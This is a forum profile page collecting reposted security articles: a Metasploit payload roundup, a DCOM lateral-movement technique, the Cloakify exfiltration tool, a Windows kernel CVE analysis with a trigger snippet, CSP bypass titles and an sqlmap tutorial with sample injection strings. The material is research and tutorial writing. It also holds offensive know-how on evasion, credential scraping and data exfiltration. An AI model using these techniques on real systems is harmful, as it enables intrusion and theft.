Jump to content

Nytro

Administrators
  • Posts

    18753
  • Joined

  • Last visited

  • Days Won

    726

Everything posted by Nytro

  1. Ma bucur sa vad ca exista persoane ma pasionate de acest domeniu decat mine. Insa "exista brand-uri chinezesti bune" este, ca si parerea mea, o parere, doar ca e contradictorie. 1. Nu e atat de relevant ca sunt "facute in China". iOS-ul nu este facut in China (din cate stiu eu). Apoi, iPhone-ul si alte telefoane care se respecta nu vor instala niciodata backdoors sau software care sa fure tot ce poate dintr-un telefon (https://thehackernews.com/2016/11/hacking-android-smartphone.html) deoarece au un brand pe care vor sa il mentina. Nu stiu despre voi, dar eu nu vreau ca datele mele sa ajunga in China. 2. Observatia legata de AllView a fost facuta pe baza unor teste facute de mine pe vreo 2 telefoane AllView. Am fost multumit. 3. Nu toti vor sa cumpere un telefon si sa isi schimbe ROM-ul. Parintii tai sunt pasionati de root-area telefoanelor? Atunci da, inteleg. Apoi, am testat Cyanogen inca de la versiunile mai vechi si nu era tocmai stabil. Adica na, iau un telefon, pun Cyanogen ca e cool si nu imi merge Camera si aplicatia de mesaj. La urma urmei, cine are nevoie de ele cat timp nu mai am bloatware? 4. Daca tu este multumit de o chinezarie, nu inseamna ca trebuie sa fim si noi. PS: Rusine tie. Nu aduce acuze doar pentru ca cineva nu are aceleasi pareri ca tine.
  2. Researchers work to save trusted computing apps from keyloggers SGX needs I/O protection, Austrian boffins reckon 5 Jan 2017 at 06:35, Richard Chirgwin Intel's Software Guard Extensions started rolling in Skylake processors in October 2015, but it's got an Achilles heel: insecure I/O like keyboards or USB provide a vector by which sensitive user data could be compromised. A couple of boffins from Austria's Graz University of Technology reckon they've cracked that problem, with an add-on that creates protected I/O paths on top of SGX. Instead of the handful of I/O technologies directly protected by SGX – most of which have to do with DRM rather than user security – the technology proposed in Samuel Weiser and Mario Werner's Arxiv paper, SGXIO, is a “generic” trusted I/O that can be applied to things like keyboards, USB devices, screens and so on. And we're not talking about a merely esoteric technology that might soothe the fears of people running cloud apps on multi-tenant infrastructure. The Weiser/Werner proposal would create an SGX-supported trusted path all the way to a remote user's browser to protect (for example) an online banking session – and provide “attestation mechanisms to enable the bank as well as the user to verify that trusted paths are established and functional.” SGXIO as a way to protect a banking app The shortcoming SGXIO is trying to fix is that SGX's threat model considers everything outside itself a threat (which isn't a bad thing, in context). The usual approach for trusted paths is to use encrypted interfaces. The paper mentions the Protected Audio Video Path (PAVP) – but that's a DRM-specific example, and most I/O devices don't encrypt anything. Hence SGXIO, an attempt to add a generic trusted path to the SGX environment – and with that trusted path reaching to the end user environment, it's an attempt to protect an application from nasties like keyloggers that a miscreant might have installed on a victim's box. The key architectural concepts in SGXIO are: A trusted stack – which contains a security hypervisor, secure I/O drivers, and the trusted boot (TB) enclave; and The virtual machine – hosting an untrusted operating system that runs secure user applications. A user application communicating with the end user: 1. Opens an encrypted channel to the secure I/O driver; 2. This tunnels through the untrusted operating system, and establishes secure communication with the “generic” user I/O device. The hypervisor binds user devices exclusively to I/O; I/O on unprotected devices passes directly through the hypervisor; the trusted path names both the encrypted user-app-to-driver communication; and the exclusive driver-to-device binding; The TB enclave provides assurance of the trusted path setup, by attesting the hypervisor. The paper illustrates this process like this: SGXIO's trusted stack components An implementation wouldn't be seamless: the SGXIO paper devices a fair chunk of copy to application design, enclave programming (fortunately something Intel provides resources for), driver design, and hypervisor choice. Application developers, for example, have to work out a key exchange mechanism (Diffie-Hellman is supported, and SGXIO offers its own lightweight key protocol). For hypervisors, the paper suggests the seL4 microkernel. Originally developed by Australia's NICTA and now handled by the CSIRO Data61 project, seL4 is a mathematically verified software kernel that was published as open source software in 2014. SGXIO will get its first public airing at the CODASPY'17 conference in March, being held in Scottsdale Arizona. ® Sursa: http://www.theregister.co.uk/2017/01/05/researchers_work_to_save_trusted_computing_apps_from_keyloggers/
  3. 12 Days of HaXmas: Meterpreter's new Shiny for 2016 Blog Post created by Brent Cook on Jan 5, 2017 Merry HaXmas to you! Each year we mark the 12 Days of HaXmas with 12 blog posts on hacking-related topics and roundups from the year. This year, we’re highlighting some of the “gifts” we want to give back to the community. And while these gifts may not come wrapped with a bow, we hope you enjoy them. Editor's Note: Yes, this is technically an extra post to celebrate the 12th day of HaXmas. We said we liked gifts! Happy new year! It is once again time to reflect on Metasploit's new payload gifts of 2016 and to make some new resolutions. We had a lot of activity with Metasploit's payload development team, thanks to OJ Reeves, Spencer McIntyre, Tim Wright, Adam Cammack, danilbaz, and all of the other contributors. Here are some of the improvements that made their way into Meterpreter this year. On the first day of Haxmas, OJ gave us an Obfuscated Protocol Beginning the new year with a bang (and an ABI break), we added simple obfuscation to the underlying protocol that Meterpreter uses when communicating with Metasploit framework. While it is just a simple XOR encoding scheme, it still stumped a number of detection tools, and still does today. In the game of detection cat-and-mouse, security vendors often like to pick on the open source project first, since there is practically no reverse engineering required. It is doubly surprising that this very simple technique continues to work today. Just be sure to hide that stager On the second day of Haxmas, Tim gave us two Android Services Exploiting mobile devices is exciting, but a mobile session does not have the same level of always-on connectivity as an always-on server session does. It is easy to lose a your session because a phone went to sleep, there was a loss of network connectivity, or the payload was swapped for some other process. While we can't do much about networking, we did take care of the process swapping by adding the ability for Android meterpreter to automatically launch as a background service. This means that not only does it start automatically, it does not show up as a running task, and is able to run in a much more resilient and stealthy way. On the third day of Haxmas, OJ gave us three Reverse Port Forwards While exploits have been able to pivot server connections into a remote network through a session, Metasploit did not have the ability for a user to run a local tool and perform the same function. Now you can! Whether it's python responder or just a web server, you can now setup a locally-visible service via a Meterpreter session that visible to your target users. This is a nice complement to standard port forwarding that has been available with Meterpreter sessions for some time. On the fourth day of Haxmas, Tim gave us four Festive Wallpapers Sometimes, when on an engagement, you just want to know 'who did I own?'. Looking around, it is not always obvious, and popping up calc.exe isn't always visible from afar, especially with those new-fangled HiDPI displays. Now Metasploit lets you change the background image on OS X, Windows and Android desktops. You can now update everyone's desktop with a festive picture of your your choosing. On the fifth day of Haxmas, OJ gave us five Powershell Prompts Powershell has been Microsoft's gift both to Administrators and Penetration Test/Red Teams. While it adds a powerful amount of capabilities, it is difficult to run powershell as a standalone process using powershell.exe within a Meterpreter session for a number of reasons: it sets up its own console handling, and can even be disabled or removed from a system. This is where the Powershell Extension for Meterpreter comes in. It not only makes it possible to confortably run powershell commands from Meterpreter directly, you can also interface directly with Meterpreter straight from powershell. It uses the capaibilites built in to all modern Windows system libraries, so it even works if powershell.exe is missing from the system. Best of all, it never drops a file to disk. If you haven't checked it out already, make it your resolution to try out the Meterpreter powershell extension in 2017. On the sixth day of Haxmas, Tim gave us six SQLite Queries Mobile exploitation is fun for obtaining realtime data such as GPS coordinates, local WiFi access points, or even looking through the camera. But, getting data from applications can be trickier. Many Android applications use SQLite for data storage however, and armed with the combination of a local privilege escalation (of which there are now several for Android), you can now peruse local application data directly from within an Android session. On the seventh day of Haxmas, danilbaz gave us seven Process Images This one is for the security researchers and developers. Originally part of the Rekall forensic suite, winpmem allows you to automatically dump the memory image for a remote process directly back to your Metasploit console for local analysis. A bit more sophisticated than the memdump command that has shipped with Metasploit since the beginning of time, it works with many versions of Windows, does not require any files to be uploaded, and automatically takes care of any driver loading and setup. Hopefully we will also have OS X and Linux versions ready this coming year as well. On the eight day of Haxmas, Tim gave us eight Androids in Packages The Android Meterpreter payload continues to get more full-featured and easy to use. Stageless support now means that Android Meterpreter can now run as a fully self-contained APK, and without the need for staging, you can now save scarce bandwidth in mobile environments. APK injection means you can now add Meterpreter as a payload on existing Android applications, even resigning them with the signature of the original publisher. It even auto-obfuscates itself with Proguard build support. On the ninth day of Haxmas, zeroSteiner gave us nine Resilient Serpents Python Meterpreter saw a lot of love this year. In addition to a number of general bugfixes, it is now much more resilient on OS X and Windows platforms. On Windows, it can now automatically identify the Windows version, whether from Cygwin or as a native application. From OS X, reliability is greatly improved by avoiding using some of the more fragile OS X python extensions that can cause the Python interpreter to crash. On the tenth day of Haxmas, OJ gave us ten Universal Handlers Have you ever been confused about what sort of listener you should use on an engagement? Not sure if you'll be using 64-bit or 32-bit Linux when you target your hosts? Fret no more, the new universal HTTP payload, aka multi/meterpreter/reverse_http(s), now allows you to just set it and forget it. On the eleventh day of Haxmas, Adam and Brent gave us eleven Posix Payloads Two years ago, I started working at Rapid7 as a payloads specialist, and wrote this post (https://community.rapid7.com/community/metasploit/blog/2015/01/05/maxing-meterpr eters-mettle) outlining my goals for the year. Shortly after, I got distracted with a million other amazing Metasploit projects, but still kept the code on the back burner. This year, Adam, myself, and many others worked on the first release of Mettle, a new Posix Meterpreter with an emphasis on portability and performance. Got a SOHO router? Mettle fits. Got an IBM Mainframe? Mettle works there too! OSX, FreeBSD, OpenBSD? Well it works as well. Look forward to many more improvements in the Posix and embedded post-exploitation space, powered by the new Mettle payload. On the twelfth day of Haxmas, OJ gave us twelve Scraped Credentials Have you heard? Meterpreter now has the latest version of mimikatz integrated as part of the kiwi extension, which allows all sorts of credential-scraping goodness, supporting Windows XP through Server 2016. As a bonus, it still runs completely in memory for stealty operation. It is now easier than ever to keep Meterpreter up-to-date with upstream thanks to some nice new hooking capabilities in Mimikatz itself. Much thanks to gentilkiwi and OJ for the Christmas present. Hope your 2017 is bright and look forward to many more gifts this coming year from the Metasploit payloads team! Sursa: https://community.rapid7.com/community/metasploit/blog/2017/01/03/12-days-of-haxmas-meterpreters-new-shiny-for-2016
      • 1
      • Upvote
  4. LATERAL MOVEMENT USING THE MMC20.APPLICATION COM OBJECT January 5, 2017 by enigma0x3 For those of you who conduct pentests or red team assessments, you are probably aware that there are only so many ways to pivot, or conduct lateral movement to a Windows system. Some of those techniques include psexec, WMI, at, Scheduled Tasks, and WinRM (if enabled). Since there are only a handful of techniques, more mature defenders are likely able to prepare for and detect attackers using them. Due to this, I set out to find an alternate way of pivoting to a remote system. Recently, I have been digging into COM (Component Object Model) internals. My interest in researching new lateral movement techniques led me to DCOM (Distributed Component Object Model), due to the ability to interact with the objects over the network. Microsoft has some good documentation on DCOM here and on COM here. You can find a solid list of DCOM applications using PowerShell, by running “Get-CimInstance Win32_DCOMApplication”. While enumerating the different DCOM applications, I came across the MMC Application Class (MMC20.Application). This COM object allows you to script components of MMC snap-in operations. While enumerating the different methods and properties within this COM object, I noticed that there is a method named “ExecuteShellCommand” under Document.ActiveView. You can read more on that method here. So far, we have a DCOM application that we can access over the network and can execute commands. The final piece is to leverage this DCOM application and the ExecuteShellCommand method to obtain code execution on a remote host. Fortunately, as an admin, you can remotely interact with DCOM with PowerShell by using “[activator]::CreateInstance([type]::GetTypeFromProgID”. All you need to do is provide it a DCOM ProgID and an IP address. It will then provide you back an instance of that COM object remotely: It is then possible to invoke the “ExecuteShellCommand” method to start a process on the remote host: As you can see, calc.exe is running under Matt while the user “Jason” is logged in: By using this DCOM application and the associated method, it is possible to pivot to a remote host without using psexec, WMI, or other well-known techniques. To further demonstrate this, we can use this technique to execute an agent, such as Cobalt Strike’s Beacon, on a remote host. Since this is a lateral movement technique, it requires administrative privileges on the remote host: As you can see, the user “Matt” has local admin rights on “192.168.99.132”. You can then use the ExecuteShellCommand method of MMC20.Application to execute staging code on the remote host. For this example, a simple encoded PowerShell download cradle is specified. Be sure to pay attention to the requirements of “ExecuteShellCommand” as the program and its parameters are separated: The result of executing this through an agent results in obtaining access to the remote target: To detect/mitigate this, defenders can disable DCOM, block RPC traffic between workstations, and look for a child process spawning off of “mmc.exe”. Cheers! Matt N. Sursa: https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
      • 1
      • Upvote
  5. CloakifyFactory CloakifyFactory & the Cloakify Toolset - Data Exfiltration & Infiltration In Plain Sight; Evade DLP/MLS Devices; Social Engineering of Analysts; Defeat Data Whitelisting Controls; Evade AV Detection. Text-based steganography usings lists. Convert any file type (e.g. executables, Office, Zip, images) into a list of everyday strings. Very simple tools, powerful concept, limited only by your imagination. Author Joe Gervais (TryCatchHCF) Why DLP systems, MLS devices, and SecOps analysts know what data to look for:So transform that data into something they're not looking for: Tutorial See my DEF CON 24 slides (included in project) from Crypto & Privacy Village workshop and DemoLabs session. Complete tutorial on what the Cloakify Toolset can do, specific use cases, and more. (The examples in the presentation use the standalone scripts, I recommend using the new CloakifyFactory to streamline your efforts.) For a quick start on CloakifyFactory, see the cleverly titled file "README_GETTING_STARTED.txt" in the project for a walkthrough. Overview CloakifyFactory transforms any filetype (e.g. .zip, .exe, .xls, etc.) into a list of harmless-looking strings. This lets you hide the file in plain sight, and transfer the file without triggering alerts. The fancy term for this is "text-based steganography", hiding data by making it look like other data. For example, you can transform a .zip file into a list of Pokemon creatures or Top 100 Websites. You then transfer the cloaked file however you choose, and then decloak the exfiltrated file back into its original form. With your payload cloaked, you can transfer data across a secure network’s perimeter without triggering alerts. You can also defeat data whitelisting controls - is there a security device that only allows IP addresses to leave or enter a network? Turn your payload into IP addresses, problem solved. Additionaly, you can derail the security analyst’s review via social engineering attacks against their workflows. And as a final bonus, cloaked files defeat signature-based malware detection tools. The pre-packaged ciphers are designed to appear like harmless / ignorable lists, though some (like MD5 password hashes) are specifically meant as distracting bait. CloakifyFactory is also a great way to introduce people to crypto and steganography concepts. It's simple to use, guides the user through the process, and according to our kids is also fun! Sursa: https://github.com/trycatchhcf/cloakify
  6. Digging Into a Windows Kernel Privilege Escalation Vulnerability: CVE-2016-7255 By Stanley Zhu on Dec 29, 2016 The Windows kernel privilege escalation vulnerability CVE-2016-7255 has received a lot of media attention. On November’s Patch Tuesday, Microsoft released a fix for this vulnerability as part of bulletin MS16-135. CVE-2016-7255 was used to perform a targeted attack and a sample was found in the wild, according to Microsoft. Google and Microsoft have already confirmed the Russian hacker group APT28 used a Flash vulnerability (CVE-2016-7855) along with this kernel privilege escalation flaw to perform a targeted attack. Google has also discussed this vulnerability. https://security.googleblog.com/2016/10/disclosing-vulnerabilities-to-protect.html https://threatpost.com/microsoft-says-russian-apt-group-behind-zero-day-attacks/121722/ http://securityaffairs.co/wordpress/53242/hacking/cve-2016-7255-zero-day.html The vulnerability research team at McAfee Labs has spent a significant amount of time analyzing this vulnerability. In this post we will briefly discuss some of our findings. We started our analysis with the patch of MS16-135, and very soon we noticed that MS16-135 updated win32k.sys on the target system. Our investigation continued with the comparison (via binary diffing) of the two win32k.sys files (before and after installing the patch). Our test system ran Windows 7 Version 6.1.7601.23584. Looking at the binary diffing results, we noticed the following functions were modified. Figure 1: The changed function xxxNextWindow in win32k.sys. After some preliminary investigation we concluded the patch for CVE-2016-7255 was applied solely in the function xxxNextWindow in win32k.sys. The following screenshot shows a very high-level overview of the changes made to xxxNextWindow(x,x): Figure 2: High-level diffing results in the function xxxNextWindow. We can see some new logic has been added (highlighted in red) to the middle of the patched function. Zooming into the first newly inserted basic block, we can see that the newly introduced code compares the value of eax+0x23. Figure 3: The first inserted basic block in xxxNextWindow. We see similar logic in next newly inserted basic block. Figure 4: The second inserted basic block in xxxNextWindow. Google has stated the vulnerability “can be triggered via the win32k.sys system call NtSetWindowLongPtr() for the index GWLP_ID on a window handle with GWL_STYLE set to WS_CHILD.” In fact, NtSetWindowLongPtr only helps trigger this vulnerability, while the root cause lies in xxxNextWindow. More specifically, the inappropriate parameters set by NtSetWindowLongPtr can trigger an “arbitrary address write” scenario in xxxNextWindow. Now let’s take a look at the decompiled version of the unpatched xxxNextWindow(x,x…). Figure 5: The decompiled version of the unpatched xxxNextWindow. After the patch is applied, xxxNextWindow (x,x…) looks like this: Figure 6: The decompiled version of the patched xxxNextWindow. The code after the patch has enhanced the parameter verification with the conditional branch statement “(*(_BYTE *)(v8 + 0x23) & 0xC0) != 0x40.” In this new statement, variable v8 (in eax) is the return value of a previous GetNextQueueWindow call. (See following figure.) Figure 7: Variable v8 comes from a call to GetNextQueueWindow: “v8 = _GetNextQueueWindow(v7, v31, 1);” A quick look at the implementation of _GetNextQueueWindow(x,x,x,…) reveals that the function actually returns a pointer to the tagWND structure. The following screen shows the tagWND structure in windbg: Figure 8: The structure of tagWND. Analyzing this code, we know the field at offset 0x78 in the tagWND structure is relevant to the vulnerability. The following lines of decompiled code from the unpatched function illustrate that the field at offset 0x78 is relevant to the vulnerability: Figure 9: Problematic code in the unpatched xxxNextWindow. Now the problem becomes simple: If we can control the value at v8+0x78, we will be able to write to an arbitrary address in kernel land, and this could potentially allow the elevation of privilege. Luckily, a user-mode API (NtSetWindowLongPtr) is available to set an arbitrary value in that position. The following screen shot shows that the value (0x41414141) we passed to NtSetWindowLongPtr is reflected in the tagWND structure, making it easy to gain an arbitrary memory write through this vulnerability. Figure 10: An arbitrary value is set in the tagWnd structure. To to trigger the vulnerability, the WS_CHILD attribute of the newly created window must be assigned, and the GWLP_ID attribute must be set with the help of the API NtSetWindowLongPtr(). Moreover, the last hurdle is to trigger xxxNextWindow. After some research, we found we can trigger it by pressing a combination of Alt+Tab keys or simulating the key press with the keybd_event API. Now that we understand the root cause of this vulnerability from the high level, let’s try reproducing the vulnerability. We will create a simple window and populate some values in its tagWND structure. HWND hwnd = CreateWindowEx(0, L”TestWnd”, 0, WS_OVERLAPPEDWINDOW | WS_VISIBLE | WS_CHILD, 5, 5, 1, 1, hWndParent, 0/*hMenu */, h, 0); SetWindowLongPtr(hwnd, GWLP_ID,/*0xfffffff4=GWLP_ID*/ 0x41414141); Figure 11: Debugging the vulnerable function xxxNextWindow. The preceding screenshot shows the live debugging output. Here the ebx register is holding the pointer to the tagWND structure, and a write violation will occur very soon. As you can see in the following figure, the destination of the offending instruction is just the address (adding 0x14) that we previously passed in via the NtSetWindowLongPtr API, and this perfectly illustrates an arbitrary address write attack. Figure 12: Scenario for an arbitrary address write attack. Let’s return to Microsoft’s patch, which starts by checking the value at offset 0x23 of the tagWND structure. In the patched code, we can see the newly introduced statement (*(_BYTE *)(v8 + 0x23) & 0xC0) != 0x40 When it comes to the patched version of the function, ebx points to the tagWND of the structure ebx + 0x23 = 0x54; 0x54 & 0xc0 = 0x40 ;(1) , 0x40 != 0x40 (2) ; Now this statement becomes false. Therefore, the program skips the following code lines that attempt to modify memory, and avoids the program crash (the write access violation). *(_DWORD *)(*(_DWORD *)(v30 + 0x78) + 0x14) &= 0xFFFFFFFB; *(_DWORD *)(*(_DWORD *)(v8 + 0x78) + 0x14) |= 4u; How can this vulnerability be exploited to achieve a privilege escalation? Instead of allowing the writing of an arbitrary value to an arbitrary address, this vulnerability can change only one bit; that is, the value on the address will be logically OR-ed with 0x04 (or its multiples) as shown below: Value = Value | 0x04; Value = Value | 0x0400; Value = Value | 0x040000 Value = Value | 0x04000000 In this case, if the attacker can find a certain array of objects in kernel land and enlarge the index of the objects array (such as tagWnd->cbWndExtra) with this logical OR primitive to cause an out-of-bound access, the attacker will be able to gain arbitrary address read/write ability from user mode (by using some user mode APIs). We currently know some exploitation skills of this kind, such as GetBitmapbits/SetBitmapbits (first discovered by KeenTeam) or SetWindowText/GetWindowText. Today, privilege escalation using a kernel mode vulnerability is still the primary vector to break application sandboxes (Internet Explorer’s EPM or Edge’s AppContainer). This path has been well demonstrated by most successful in-the-wild exploits targeting Internet Explorer/Edge/Adobe Reader and Flash that we have seen. Against current versions of Windows, with multilayer defenses, escaping the sandbox with a kernel escalation of privilege is still the attacker’s first choice. KeUsermodeCallback used to be a very popular type of Windows kernel mode vulnerability that can lead to kernel mode code execution, as we saw in CVE-2014-4113 and CVE-2015-0057. Microsoft’s work on addressing kernel vulnerabilities and adding more mitigation security features has led to a decline in this type of attack. In response, attackers have begun to look into kernel font and GDI vulnerabilities. Windows 10 has already restricted win32k calls in Edge, which significantly reduces the attack surface. And Microsoft has also fixed the kernel memory information disclosure issue that leverages the GDI-shared handle table. No doubt, kernel exploitation will become more and more difficult. However, we foresee that attackers will still use win32k as the main attack surface to exploit the kernel to achieve code execution or elevation of privilege. The battle will continue around this hot spot for both attackers and defenders. I thank my colleagues Bing Sun and Debasish Mandal for their help with this post. Sursa: https://securingtomorrow.mcafee.com/mcafee-labs/digging-windows-kernel-privilege-escalation-vulnerability-cve-2016-7255/
  7. Collection of CSP bypasses On this page, I'd like to collect a set of CSP bypasses related to nonces. CSP policies using nonces are considered very strong in terms of security. However, there are many (sometimes unusual) situations in which nonces can be bypassed. It is still unclear to me, if these bypasses have a practical impact on CSP's protective capabilities. Nevertheless, I'd like to explore these situations to better understand the boundaries of CSP. Furthermore, I'd like to encourage other researchers to have a closer look at CSP nonces. Bypassing script nonces via the browser cache (DOM-based XSS) Bypassing script nonces via the BFCache (by @arturjanc) Bypassing script nonces via partial markup injections Bypassing script nonces via event handlers and changeable sources Bypassing script nonces via DOM XSS (by @sirdarckcat) Bypassing script nonces via CSS I (by @sirdarckcat) Bypassing script nonces via CSS II (by @sirdarckcat) Bypassing script nonces via SVG set tags (by @sirdarckcat) Bypassing script nonces via SVG animate tags (by @0x6D6172696F) Bypassing script nonces via XSLT (by @sirdarckcat) Bypassing script nonces via base tags (by @jackmasa) Bypassing script nonces via CLOSURE_BASE_PATH (by @sirdarckcat) Bypassing script nonces by predicting random numbers Bypassing script nonces by injecting into a URL of a nonced script Bypassing script nonces by injecting into a nonced script Sursa: http://sebastian-lekies.de/csp/bypasses.php
      • 1
      • Upvote
  8. THURSDAY, JANUARY 5, 2017 Exploiting difficult SQL injection vulnerabilities using sqlmap: Part 1 Introduction A number of times when discovering "tricky" SQL Injection vulnerabilities during penetration tests, I have taken the approach of exploiting them by writing custom tools. This usually after spending 5 minutes blindly poking at the vulnerability with sqlmap, and then stopping when it didn't immediately magic the answer for me. OK, there have been a number of times where sqlmap has NOT been a suitable tool to use for various reasons, such as very particular filtering or data retrieval requirements, but there has also been a number of cases where I probably gave up on it too fast because I didn't properly understand how it worked or the extent of its capabilities. And this resulted in me taking much longer than necessary to exploit the vulnerability. While writing custom tools can certainly be "fun" (for some definitions of "fun"), and while it provides some good coding practice and is an excellent way to ensure that you understand the injection flaw and its exploitation extremely well, its also very time consuming. Writing your own injection tool often involves redoing a lot of work that has already been done by others - the digital equivalent of reinventing the wheel. You need to put together a capable HTTP sending/receiving framework, you need to parse HTML responses, you need to discover the (database specific) SQL commands that will allow you to retrieve data within the limitations imposed by the vulnerability, you need to be able to extract, group, infer, convert and/or join the retrieved data and you need to mentally map out the logic needed to tie all these parts together and turn it into working code with a usable interface. Its a deceptively large amount of effort, especially when blind injection is involved, and I would consistently underestimate how long it would take to perform. Given that sqlmap already has all this functionality, being in particular a very effective tool for retrieving data via all types of SQL injection vulnerabilities, I recently decided that it might be a good idea to spend some of my time to gain an improved understanding of the tool, so that in future I would be able to make more frequent use of it. For my vulnerability test bed, I used some of the SQL injection labs from the Pentester Labs website, namely the Web for Pentester and Web for Pentester II exercises, because those particular exercises are freely downloadble, easy to self host and provide some great examples of SQLi vulnerabilities that require use of some of sqlmap's custom options for exploitation. This will be the first in a series of posts where I share some of what I learned during this process. This first post will mainly seek to introduce and explain the relevant sqlmap options that I used and outline a process that can be used to get sqlmap to identify an SQL injection flaw that you have discovered through other testing activities. Future entries will provide examples of actually using this to exploit SQL injection vulnerabilities that sqlmap cannot easily detect on its own. Note: While I will use their content as examples, the intent here is NOT to explain how to discover or do manual exploitation of the SQLi vulnerabilities in the PentesterLab exercises - because that has already been written up in the PentesterLab courseware available at their web site. If you don't already know how to do manual discovery of SQLi vulnerabilities, you can check out their site, or any of the many other SQLi references on the Internet to learn this (for the record though, I think the PentesterLab stuff is a fantastic introduction to web application pentesting, and I wish I had access to it when I first started doing webapp testing). Useful sqlmap options Before I jump into working through specific examples, I wanted to describe the purpose of some sqlmap options. More advanced use of sqlmap, in terms of actually tweaking its operation in order to make a difficult injection operate, will require that you actually understand how these options work. In essence, this is the README I wish I had received when I moved beyond the bare basics in my use of the tool, as I definitely would have used sqlmap much more extensively had I understood these particular options as well as I do now. Hopefully you can now benefit from my having learned this the "hard" way, e.g. via trial and error. Prefix and suffix The prefix (--prefix) and suffix (--suffix) options configure the strings that should be included with each SQL injection payload in order to begin, and then terminate, the Injection. So what does this mean exactly? Take this simple example of an injectible query: $query = "SELECT first_name, last_name FROM users WHERE name = '" . $_GET["username"] . "'"; Whats an example of an injection string that would work here? Something like the following would work as a simple POC of a union injection. ' UNION SELECT NULL,NULL -- a This closes the single quoted string before our injection point with a single quote ('), seperates the next statement with a space ( ), adds our injection query of a UNION SELECT with a column count matching that of the existing SELECT query, and then comments out the remainder of the original query to ensure syntactical correctness. The prefix in this case is the single quote and space (' ) used before the UNION SELECT, and the suffix is the characters (a space, two dashes, another space and the letter "a") used to comment out the remainder of the original query ( -- a). The following options can be used to configure sqlmap to use this prefix and suffix: --prefix="' " --suffix=' -- a' Now, these particular examples of prefixes and suffixes (or ones that are functionality identical) are ones that sqlmap will be able to figure out itself, so you will rarely need to specify values like this. However, this hopefully does help you in understanding what these options do, because they are quite important ones to grasp if you want to use sqlmap for more difficult injections. In fact, I put these options first in the list of ones I wanted to describe because as I was working through this process of learning how to make sqlmap identify certain injection vulnerabilities, these were the ones that I used the most. Also, finally learning what these did was an "AHA!" moment for me, as I have been aware of the options existence for an embarassingly long time without understanding what they did. Note: Why use NULL values in the UNION SELECT? NULL is a great value to use in UNIONS when trying to determine the correct number of columns in an injection, as it can sit in place of a number of different field types, such as numbers, strings and dates. Note2: Why the extra space and the "a" character after the comment? Sometimes, inserted comments at the end of an injection are not properly recognised by the database unless there is a whitespace character to follow. Since whitespace characters on their own are sometimes not easily identifiable when displayed on screen (depending on what other text follows) its helpful to include other text afterwards so you can easily see there is something following the comment. You will see sqlmap do this when you look at some of the injection strings it uses. Specifying Injection technique and tests There are a number of different SQL injection techniques available for use in sqlmap, which are configured via the --technique option, and sqlmap comes with a number of different in built tests for exploiting vulnerabilities using those techniques. By default, sqlmap will enable all possible techniques when trying to identify an injection vulnerability, and will run all associated tests that meet the configured risk and level settings (discussed later). If you have manually discovered a SQL injection flaw in a website and want to use sqlmap to exploit the vulnerability, you may already know the correct technique, as well as the most appropriate payload configuration to use, and this is where specifying these options manually can be useful. Manual specification of these settings helps prevents less effective techniques from being chosen by sqlmap, and cuts down on the amount of traffic sent by sqlmap during its detection period. A brief listing of the injection techniques available for use by sqlmap is listed below in order of preference. You can select the appropriate ones by using the --technique switch followed by a listing of the letters associated with the method/s you wish to use. The default is all options, (e.g. "--technique=BEUSTQ"). The descriptions provided below are only intended as high level reminders of each technique Stacked queries (S) - This involves stacking whole new SQL queries onto the end of the existing injectable query. Its the preferred method to use if available, because there are a number of exploitation actions that wont be available to you using any other method, however the use of this method does require support from the database and API. You may not necessarily be able to see the results of your stacked query in the page response, so when actually retrieving data (as opposed to performing other operations such as INSERTS) you may want to use another technique such as Unions. Union query based (U) - This involves retrieving data by joining a second select statement to the original, via the UNION SELECT statement. You need to be able to see the results from the original SELECT query (and hence your UNION) in the page response for this method to be usable. Error based (E) - This technique retrieves data by manipulating database error messages to directly display that data. To use this method, you need to be able to see database error messages in page responses. Inline queries (I) - This technique uses inline database queries to retrieve data - essentially a query embedded within another query like this "SELECT (SELECT password from user) from product". I have not personally had the occasion to use this option in sqlmap, and while inline queries can be used more widely than this in manual injection scenarios, it appears that you need to be able to see the inline queries result in the page response for this to be usable through sqlmap. Boolean blind (B) - This retrieves data from the database by asking a series of True/False style questions in your injections, and determining the result (True or False) based on identifiable changes in the response. To use this option, you need to be able to be able to trigger some sort of identifiable state change in HTTP response content from logically different, but syntactically correct database queries (e.g. a different page response only resulting from an invalid database query doesn't count here). This technique will require more requests and time to perform than those previously listed, as the data must be retrieved indirectly via boolean inference. Time based blind (T) - This technique is similar to boolean blind, in that it retrieves data via posing a number of True/False style questions to the database, however instead of determining the answers to these questions via the content of a response, it is done using the amount of time a response takes. This is done through associating deliberate delays with particular answers via database statements that consume a noticeable amount of time, like sleep. This is the most time consuming method of data retrieval, and is sensitive to errors introduced by network load. Without careful custom configuration, you may find sqlmap selecting this technique for trickier injection vulnerabilities that can be exploited by more efficient means. Selecting a particular technique, or set of techniques will limit the payloads that sqlmap will use to those associated with that/those technique/s. It is also possible to further filter the attempted payloads via the --test-filter and --test-skip options to target payloads that contain (or do not contain) particular text within their name. If, for example, you know your target SQLi vulnerability exists within the 'ORDER BY' clause of a query, why not filter for only these test payloads by using: --test-filter='ORDER BY' In addition, if you write your own custom test payload for an injection, you can use only that particular payload by setting a filter for a unique string you have added to the name. Note: To have the best chance of being able to configure sqlmap to detect and exploit a given difficult vulnerability, its important that you properly understand the type of injection you wish to use and the requirements for its exploitation. This is because for injection vulnerabilities that sqlmap cannot find on its own you have to be able to create an effective POC exploit manually to use as a basis for correctly setting sqlmap's configuration . Hopefully this brief summary of the available injection types is appropriately clear and detailed in order to provide a sufficient refresher, but if you are unclear on these techniques you may wish to do further research on any techniques you are unfamiliar with before continuing. Risks and levels The risks and levels settings in sqlmap will control which test payloads will be attempted during the detection run to identify an SQLi vulnerability. Each test payload has a configured level and risk setting, and if the configured threshold is not met for that payload during a particular run of the tool, that particular payload will not be used. Risk in sqlmap refers to the risk of a failure, potential database damage or error in data retrieval associted with using an associated payload. Available risk settings range from 1 to 3, with 1 (the lowest level) being the default. Level refers to the number of requests required to use that associated payload for exploitation. Available level settings range from 1 to 5, with 1 again the default. A common recommendation given in various usage guides is to increase the risk and level settings if sqlmap does not identify a vulnerability in its default configuration, however in my experience for trickier injection vulnerabilities this change alone is often not sufficient. Detection options Using the boolean blind injection technique will often require that you tell sqlmap what to look for in the HTTP response content in order to distinguish a True condition from a False. There are a number of options in sqlmap that allow you to configure this behavior, such as --string and --not-string (configuring strings that should appear in True and False responses respectively), --regexp (allowing you to set a regular expression to match to determine the True condition), --code (provide a HTTP status code to match True), --text-only (compare responses based on text content) and --titles (compare responses based on page title). A neat thing you can do with the --string and --not-string settings is to use Python hexadecimal backslash quoting to do multi line matching. 